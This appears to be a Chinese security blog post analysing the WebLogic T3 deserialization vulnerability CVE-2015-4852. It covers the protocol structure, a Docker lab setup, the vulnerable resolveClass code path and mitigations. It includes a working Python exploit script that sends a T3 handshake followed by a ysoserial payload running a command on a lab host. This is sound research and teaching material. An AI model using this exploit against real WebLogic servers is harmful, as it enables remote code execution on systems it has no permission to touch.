Java安全之初探weblogic T3協議漏洞
文章首發自安全客:Java安全之初探weblogic T3協議漏洞
0x00 前言
在反序列化漏洞裡面就經典的還是莫過於weblogic的反序列化漏洞,在weblogic裡面其實反序列化漏洞利用中大致分為兩種,一個是基於T3協議的反序列化漏洞,一個是基於XML的反序列化漏洞。當然也還會有一些SSRF和任意檔案上傳漏洞,但是在這裡暫且不談。
下面來列出兩個漏洞型別的一些漏洞編號
基於T3協議漏洞: CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883
基於XML:CVE-2017-3506、CVE-2017-10271、CVE-2019-2729
粗略的列了幾個代表性的CVE漏洞。
在Weblogic中,有部分漏洞是基於上幾個漏洞的補丁進行的一個繞過。而在前一段時間內,CVE-2020-14882和CVE-2020-14883裡面14883就是基於14882的補丁去進行的一個繞過。
0x01 淺析T3協議
關於T3協議的絮絮叨叨
關於這個T3協議,他是Weblogic裡面獨有的一個協議,在前面寫的一篇關於RMI的文章裡面提到過RMI的傳輸過程是傳輸的序列化資料,而在接收後會進行一個反序列化的操作。在Weblogic中對RMI規範的實現使用T3協議。而在T3的傳輸過程也是一樣的。
下面對T3協議的傳輸過程、如何執行的反序列化操作、T3協議的執行流程去進行一個分析。
在之前先來看一張weblogic進行反序列化的執行流程圖。
這裡借用了一個圖片,在該漏洞的一個入口點是weblogic裡面的方法呼叫了原生的反序列化方法進行一個反序列化操作。
而這裡還需要知道該方法在傳輸完成後是如何進行呼叫的。關於原生反序列化的操作原理這裡就不講了,可以看到我的該篇文章。
Java安全之原生readObject方法解讀,這裡主要來講一下T3協議的相關內容。
T3協議概述
WebLogic Server 中的 RMI 通訊使用 T3 協議在 WebLogic Server 和其他 Java 程式(包括客戶端及其他 WebLogic Server 例項)間傳輸資料。
T3協議結構
在T3的這個協議裡面包含請求包頭和請求的主體這兩部分內容。
請求包頭
這裡拿2個CVE-2015-4852的POC來進行講解。
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
這裡就是他的請求包的頭。
使用Wireshark對它進行抓包,由於配置的網路卡抓不到包,靶機地址會在23段和1段的ip中來回切換。
這裡為了能抓到包配置了一個nat模式的網路卡,進行抓包,地址為192.168.23.130,改一下poc的目標地址,傳送payload。
在這裡在傳送請求包頭的時候,打了個斷點,讓指令碼只傳送請求包頭資料,方便抓包。開啟Wireshark抓包後發現,傳送該請求包頭後,服務端weblogic會有一個響應
HELO後面的內容則是被攻擊方的weblogic版本號,在傳送請求包頭後會進行一個返回weblogic的版本號。
請求主體
在T3協議裡面傳輸的都是序列化資料,這個在前面也說過,而傳輸中的資料分為七部分內容。第一部分為協議頭。即t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n
這串資料。
來看到下面的圖,圖片取自z_zz_zzz師傅的修復weblogic的JAVA反序列化漏洞的多種方法文章。
看到第二到第七部分內容,都是ac ed 00 05
,說明該串內容是序列化的資料。而如果需要去構造payload的話,需要在後面序列化的內容中,進行一個替換。將原本存在的序列化內容替換成我們payload的序列化內容,在傳輸完成後,進行反序列化達成攻擊的目的。
- 第一種生成方式為,將weblogic傳送的JAVA序列化資料的第二到九部分的JAVA序列化資料的任意一個替換為惡意的序列化資料。
- 第二種生成方式為,將weblogic傳送的JAVA序列化資料的第一部分與惡意的序列化資料進行拼接。
0x02 漏洞環境搭建
環境搭建
這裡借用了A-team 的weblogic漏洞環境專案來做搭建環境,省去不必要的麻煩。
漏洞環境地址:https://github.com/QAX-A-Team/WeblogicEnvironment
jdk地址:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
weblogic下載地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
這裡需要把下載好的jdk檔案放在該專案的jdks資料夾下,weblogic的原始碼放在weblogics資料夾下。
編譯執行
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
然後在這裡需要去將一些weblogic的依賴Jar包給匯出來進行遠端除錯。
mkdir ./middleware
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
如果不想這麼麻煩的話可以直接執行對於的.sh指令碼,比如這裡安裝的是1036 jdk是7u21 ,直接執行run_weblogicjdk7u21.sh
,自動安裝以及自動從容器裡面匯出jar包。
遠端除錯
在這裡將jar包複製到物理機上,然後開啟IDEA建立一個空專案進行匯入。
完成後就來配置遠端除錯
為了測試,這裡使用WeblogicScan來掃描一下,看看在斷點地方會不會停下。
在這裡發現已經可以進行遠端除錯,後面我們就可以來分析漏洞了。
0x03 漏洞分析
漏洞復現
在這先來講漏洞復現一下後,再進行漏洞的分析
還是拿exp為例子,但是我們這裡是docker搭建的環境,也沒有構造回顯。常用的彈出計算器,就算執行了也沒法顯示出來,所以在這裡使用建立檔案的方式驗證該漏洞是否利用成功。
import socket
import sys
import struct
import re
import subprocess
import binascii
def get_payload1(gadget, command):
JAR_FILE = './ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()
def get_payload2(path):
with open(path, "rb") as f:
return f.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #資料包長度,先佔位,後面會根據實際情況重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3協議頭
flag = binascii.a2b_hex(b"fe010000") #反序列化資料標誌
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新計算資料包長度
sock.send(payload)
if __name__ == "__main__":
host = "192.168.1.40"
port = 7001
gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
command = "touch /tmp/CVE-2015-4852"
payload = get_payload1(gadget, command)
exp(host, port, payload)
執行完成後,檢視docker容器裡面的檔案。
docker exec weblogic1036jdk7u21 ls tmp/
執行成功。
在執行exp的時候,如果開啟debug去檢視其實不難發現,傳送t3的報文頭資訊以後會在返回包裡面回顯weblogic的版本號。
可以看到,後面通過正則提取了返回包的資料,拿到該版本號資訊。
漏洞分析
T3協議接收過來的資料會在weblogic.rjvm.InboundMsgAbbrev#readObject
這裡進行反序列化操作。
來直接定位到該位置,可以看到斷點的位置,裡面呼叫了InboundMsgAbbrev.ServerChannelInputStream#readObject
方法,檢視一下
這裡呼叫建立一個內部類,並且呼叫readObject
方法,還需要檢視一下 ServerChannelInputStream
實現。
在這裡其實就可以看到ServerChannelInputStream
是一個內部類,該類繼承ObjectInputStream
類,而在這裡對resolveClass
進行了重寫。
但是在此處看到,其實呼叫的還是父類的resolveClass
方法。在resolveClass
方法中也沒做任何的校驗,導致的漏洞產生。
後面來講講如何防禦到該漏洞。
再談resolveClass
resolveClass
方法的作用是將類的序列化描述符加工成該類的Class物件。
前面分析readObject方法的時候,我們得知了shiro就是重寫了resolveClass
方法導致很多利用鏈無法使用,但是shiro在編寫的時候,並不是為了防禦反序列化漏洞才去重寫的resolveClass
,但是就是這麼一個無意間的舉動,導致了防禦住了大部分攻擊。
而在後面的weblogic補丁當中,也會基於這個resolveClass
去做反序列化漏洞的防禦。
貼上一張廖師傅的部落格的反序列化攻擊時序圖:
那麼這裡需要思考到一個問題,為什麼要在resolveClass
進行一個攔截,而不是其他位置?
resolveClass
方法的作用是從類序列化描述符獲取類的Class物件,如果在resolveClass
中增加一個檢查,檢查一下該類的序列化描述符中記錄的類名是否在黑名單上,如果在黑名單上,直接丟擲錯誤,不允許獲取惡意的類的Class物件。這樣以來,惡意類連生成Class物件的機會都沒有。
來看到這個方法,在我的readObject
分析文章裡面貼出來一張圖,readObject
的內部使用Class.forName
來從類序列化獲取到對應類的一個Class的物件。
那麼如果這裡加入一個過濾,那麼這裡如果直接丟擲異常的話,在readNonProxyDesc
呼叫完resolveClass
方法後,後面的一系列操作都無法完成。
參考文章
http://drops.xmd5.com/static/drops/web-13470.html
https://blog.knownsec.com/2020/11/weblogic12c-t3-%e5%8d%8f%e8%ae%ae%e5%ae%89%e5%85%a8%e6%bc%ab%e8%b0%88/
http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/
https://xz.aliyun.com/t/8443
0x04 修復方案
這裡借鑑z_zz_zzz
師傅的文章中提到的weblogic T3協議漏洞的修復方案,除了打補丁外還有其他的修復方案,先來說說打補丁的方式,打補丁其實也是在resolveClass
方法中實現攔截。
開放在外網的情況下,還可以採用web代理和負載均衡。
web代理的方式只能轉發HTTP的請求,而不會轉發T3協議的請求,這就能防禦住T3漏洞的攻擊。
而負載均衡的情況下,可以指定需要進行負載均衡的協議型別,這麼這裡就可以設定為HTTP的請求,不接收其他的協議請求轉發。這也是在外網中見到T3協議漏洞比較少的原因之一。
0x05 結尾
在這裡其實分析比較淺,因為反序列化操作和CC鏈這一塊,我覺得應該單獨拿出來說,而不是整合到這個T3協議漏洞裡面一併概述。所以在此處並沒有對這兩塊內容進行分析,而這兩塊內容在前面都有進行分析過,自行查閱。後面的幾個T3協議的漏洞,其實也是基於resolveClass
的方式進行攔截過後的一個繞過方式,成了一個新的CVE漏洞。